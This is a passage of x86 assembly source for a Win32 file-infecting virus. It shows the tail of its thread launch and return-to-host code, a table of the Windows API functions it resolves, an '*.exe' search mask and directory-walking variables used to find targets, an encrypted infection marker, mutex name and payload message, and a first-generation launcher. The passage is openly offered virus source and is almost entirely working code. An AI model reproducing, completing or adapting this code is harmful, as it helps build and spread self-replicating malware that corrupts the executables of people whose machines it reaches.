                lea     ebx,[ebp+_EBP]
                push    ebx
                lea     ebx,[ebp+offset VirusMainThread]
                push    ebx
                push    0h
                push    0h
                call    [ebp+_CreateThread]
                popad
                ret
LaunchVirusMainThread   endp

MainEnd:
                mov     eax,dword ptr [ebp+_ImageBase]          ; virus start point...
                sub     eax,dword ptr [ebp+_EntryPoint]         ; substracting virus entry-point, thus getting ImageBase
                add     eax,dword ptr [ebp+OldEntryPoint]       ; adding old entry-point, thus jumping back to the host
                jmp     eax

                OldEntryPoint           dd      0                ; host's old entry-point
                K32Address              dd      ?
                K32ExportAddress        dd      ?
                K32OrdinalsAddress      dd      ?
                K32NumberOfExports      dd      ?
                Counter                 dd      0h

                ;APIz that I need in my virus
                U32Address              dd      ?
                szUser32Dll             db      "USER32.DLL",0h

                szGetProcAddress        db      "GetProcAddress",0h
                szGetModuleHandleA      db      "GetModuleHandleA",0h
                szLoadLibraryA          db      "LoadLibraryA",0h
		szGetFileAttributesA	db	"GetFileAttributesA",0h
		szSetFileAttributesA	db	"SetFileAttributesA",0h
		szCreateFileA		db	"CreateFileA",0h
                szCreateFileMappingA    db      "CreateFileMappingA",0h
		szMapViewOfFile		db	"MapViewOfFile",0h
		szUnmapViewOfFile	db	"UnmapViewOfFile",0h
		szFindFirstFileA	db	"FindFirstFileA",0h
		szFindNextFileA		db	"FindNextFileA",0h
		szFindClose		db	"FindClose",0h
                szSetCurrentDirectoryA  db      "SetCurrentDirectoryA",0h
                szGetLocalTime          db      "GetLocalTime",0h
		szCreateThread		db	"CreateThread",0h
		szSetThreadPriority	db	"SetThreadPriority",0h
                szResumeThread          db      "ResumeThread",0h
		szCreateMutexA		db	"CreateMutexA",0h
		szOpenMutexA		db	"OpenMutexA",0h
		szSleep			db	"Sleep",0h
		szGetLogicalDrives	db	"GetLogicalDrives",0h
                szGetDriveTypeA         db      "GetDriveTypeA",0h
                szGetFileSize           db      "GetFileSize",0h
                szCloseHandle           db      "CloseHandle",0h
                szVirtualAlloc          db      "VirtualAlloc",0h

                szMessageBoxA           db      "MessageBoxA",0h
		szSetWindowTextA	db	"SetWindowTextA",0h
		szGetTopWindow		db	"GetTopWindow",0h
		szGetWindow		db	"GetWindow",0h

                _GetProcAddress         dd      ?
                _GetModuleHandleA       dd      ?
                _LoadLibraryA           dd      ?
                _GetFileAttributesA     dd      ?
                _SetFileAttributesA     dd      ?
		_CreateFileA		dd	?
                _CreateFileMappingA     dd      ?
		_MapViewOfFile		dd	?
		_UnmapViewOfFile	dd	?
		_FindFirstFileA		dd	?
		_FindNextFileA		dd	?
                _FindClose              dd      ?
                _SetCurrentDirectoryA   dd      ?
                _GetLocalTime           dd      ?
		_CreateThread		dd	?
		_SetThreadPriority	dd	?
                _ResumeThread           dd      ?
		_CreateMutexA		dd	?
		_OpenMutexA		dd	?
		_Sleep			dd	?
		_GetLogicalDrives	dd	?
		_GetDriveTypeA		dd	?
                _GetFileSize            dd      ?
                _CloseHandle            dd      ?
                _VirtualAlloc           dd      ?

                _MessageBoxA            dd      ?
		_SetWindowTextA		dd	?
		_GetTopWindow		dd	?
                _GetWindow              dd      ?

                InfectionMark   db 08Ah,08Ah,0EDh,0CFh,0C5h,0D8h,0CDh,0C3h,0C4h,0CBh,08Ah,08Ah

                FileHandle      dd INVALID_HANDLE_VALUE
                FileSize        dd 0h
                pMemory         dd 0h
                PEHdrOffset     dd 0h
                SectionsNum     dd 0h
                ImageSize       dd 0h
                dFileAlignment  dd 0h
                FileMappedHandle        dd 0h
                FileAttrib              dd 0h
                pVirtualMemory  dd 0h

                szDestDir               db      "c:\",0h

                FindHandle      dd      0h
                FHandle         dd      0h
                FindResult      WIN32_FIND_DATA ?
                szEXEMask       db      "*.exe",0h
                szGlobalMask    db      "*",0h
                szUpDir         db      "..",0h

                szGeorgina              db      "Georgina",0h
                szMutexName             db      0E1H,0EFH,0F8H,0E4H,0EFH,0E6H,0F5H,0E6H,0E5H    ; encrypted mutex name
                                        db      0FCH,0EFH,097H,0E3H,0F5H,0E6H,0C5H,0DCH,0CFH
                                        db      0F5H,0F3H,0C5H,0DFH,0F5H,0EDH,0CFH,0C5H,0D8H
                                        db      0CDH,0C3H,0C4H,0CBH,0F5H,098H,0E0H,0F0H,0EBH
                                        db      09DH,09FH,09DH,0F5H,0E1H,0E3H,0F9H,0F9H,0EFH
                                        db      0F9H,0AAH
                MutexNameSize           equ     $-szMutexName                                   ; size of mutex name
                szVirus                 db      0FFH,08AH,0D8H,08AH,0C3H,0C4H,0CCH,0CFH,0C9H    ; encrypted pyload message
                                        db      0DEH,0CFH,0CEH,08AH,0DDH,0C3H,0DEH,0C2H,08AH
                                        db      0FDH,0C3H,0C4H,099H,098H,084H,0EDH,0CFH,0C5H
                                        db      0D8H,0CDH,0C3H,0C4H,0CBH,08AH,0DCH,0C3H,0D8H
                                        db      0DFH,0D9H,08BH,0A7H,0A0H,0EDH,0CFH,0C5H,0D8H
                                        db      0CDH,0C3H,0C4H,0CBH,086H,0E3H,08AH,0C6H,0C5H
                                        db      0DCH,0CFH,08AH,0DFH,08AH,0CBH,0C4H,0CEH,08AH
                                        db      0DDH,0C3H,0C6H,0C6H,08AH,0C6H,0C5H,0DCH,0CFH
                                        db      08AH,09EH,0CFH,0DCH,0CFH,0D8H,08BH,0A7H,0A0H
                                        db      082H,0E9H,083H,09AH,0CEH,0CFH,0CEH,08AH,0C8H
                                        db      0D3H,08AH,0E1H,0C3H,0E4H,0EFH,0FEH,0C3H,0E1H
                                        db      086H,08AH,0E7H,0CBH,0D3H,08AH,098H,09AH,09AH
                                        db      098H,0AAH
                szVirusMsgSize          equ     $-szVirus                                       ; size of payload message
                Time                    SYSTEMTIME      <0,0,0,0,0,0,0,0>
                ThreadID1               dd      0h
                ThreadID2               dd      0h
                ThreadID3               dd      0h
                _EBP                    dd      ?
                _ImageBase              dd      ?
                _EntryPoint             dd      ?
infect_section_end:
                INFECTLENGTH    equ (infect_section_end - infect_section)
                CHARSNEW        equ 0E0000020h

_1st_generation:
                call    MessageBox,0,offset szMessage,offset szCaption,MB_OK
                call    ExitProcess,0
end             main